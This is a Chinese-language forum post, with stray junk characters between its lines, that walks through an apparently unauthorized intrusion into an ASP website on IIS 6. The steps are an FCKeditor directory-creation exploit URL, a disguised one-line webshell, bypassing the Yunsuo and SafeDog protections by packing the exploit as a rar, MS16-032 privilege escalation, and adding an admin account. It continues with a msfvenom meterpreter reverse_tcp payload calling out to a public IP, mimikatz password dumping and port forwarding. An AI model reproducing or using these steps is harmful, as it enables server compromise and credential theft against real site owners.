$ j& O R7 r# n& Q' Z |
2 C( N _ Z+ s z3 Z; u: h $ G( T6 b$ R! h. Z" o
, P" k; `% U; X# d9 Q一、 利用getwebshell篇
7 r: O" `5 `6 {' i& I3 S3 V2 Q
* e4 r; o2 K; P4 Z, d5 t) P, d# w
首先对目标站进行扫描，发现是asp的，直接扫出网站后台和默认数据库，下载解密登陆如图：
- r' W6 Q: A9 C3 |
- X9 R$ l( E; I/ ?: |( ?$ S0 V
, N2 ^6 h: c3 ^8 o" C V% q' d
下面进后台发现有fckeditor，而且还是iis6.0的，可以考虑创建个asp目录来构造解析（fck编辑器路径被改成别的需要burpsuite抓包的时候看到）
+ \) |* G7 B* p
" e! \8 \/ ]2 ?% s2 L6 _
下面我们构造一个asp目录，如： 4 E! E3 h1 R4 V s
# ?$ F$ S9 ]" G: i8 y# M3 Y F+ y2 `7 Y, b. B0 w. C; v, h
http://www.xxoo.com/manage/hscxeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975
6 ]# s) n: t3 C2 m3 b+ F$ J2 P: Y
& O& Y8 S( K4 |' v ! p5 a; h3 h, n$ i: P, h7 E
然后再给shell.asp目录上传一个jpg图片格式的一句话，然后用hatchet打开，然后看了一下支持aspx，那么我们就用包含的办法先把aspx后缀名改成.rar，然后再创建个111.ASPx，里面包含rar文件，进去以后看进程有云锁和安全狗，那么，那么我们慢慢来，慢慢来。
: D3 D$ g% q7 H" j' i: L
2 l L2 Q* z3 L. s一、 绕过安全狗云锁提权并且加账号
7 u; o+ B1 J& x5 w. d
+ k* D% u$ Y2 r9 M没法看系统信息，但是根据网站404页面可以断定是2003服务器，然后接着访问C:\Program Files (x86)存在断定是2003 64位系统，那么我们说干就干，我们上传ms16-032 64位直接干，但是发现上传exe或者别的格式exp会自动消失，看进程也没杀毒呀，没错没杀毒，是云锁有个功能防御了，那么突破云锁上传的方法就是利用rar，先把exp打包为64.rar上传，然后我们翻一下rar在哪个目录，在C:\Program Files (x86)，然后开干
5 r4 M1 e0 p. a, m1 E3 _
! p: ^/ z: E- b- u! z如图：
& }0 M" h2 G+ v
- Q, L5 i, L4 c8 N
然后执行直接是system权限,然后我用干狗神器给加了一个账号用tunna反弹3968提示不是远程组，我操后来也想着用getpassword64抓明文密码，但是一执行就卡死，没办法想到了metasploit
2 C) ]1 z0 w# f; d& P4 _: N v
7 C( e9 t4 t0 l/ [% b) |一、 利用metasploit
7 J5 F3 [% c W
6 {8 @# f7 b2 {& l
首先用pentestbox生成一个64位的payload如下命令
! e2 k1 j7 W9 d% O
/ Q: ]; A7 c3 r. ~6 E6 u- ?- X/ ImsfVENOM -p windows/x64meterpreter/reverse_tcp lhost=42.51.1.1 lport=443 -f exe > c:\mata.exe
& @2 J, q/ b5 N( ]
* f: P# c! R; J- e. C! B. C4 F6 p为什么要用443端口，之前我测试用别的端口直接被墙了没法上线，下面我们在system下执行这个mata，上线如图：
, C4 c, l" N8 O; `8 Q
; L4 ^, S5 P9 f6 i, z1 Y下面我们用这个命令抓一下明文密码命令1：use mimikatz 命令2：kerberos如下图：
% a6 }# n! j5 @9 X+ g
# a j4 F2 g+ X7 _
下面我们来做一个监听如下命令：
) f" Q8 P1 C9 F# w
: h: L& }/ i& N& M. @& g8 K I" m
portfwd add -l 6655 -p 3968 -r 127.0.0.1，这个命令的意思就是把目标服务器的远程3968转发到pentestbox的公网IP的6655端口如图：
' c1 K4 u' }7 l9 G3 x
3 K4 t4 M8 O# _* S! |7 G4 b) t ; J$ y4 W9 `7 s
| $ j1 ?3 l3 k7 a. I# K1 ~
发表于 2018-10-20 20:31:43
收藏
支持
反对
匿名
发表于 2021-11-20 23:30:06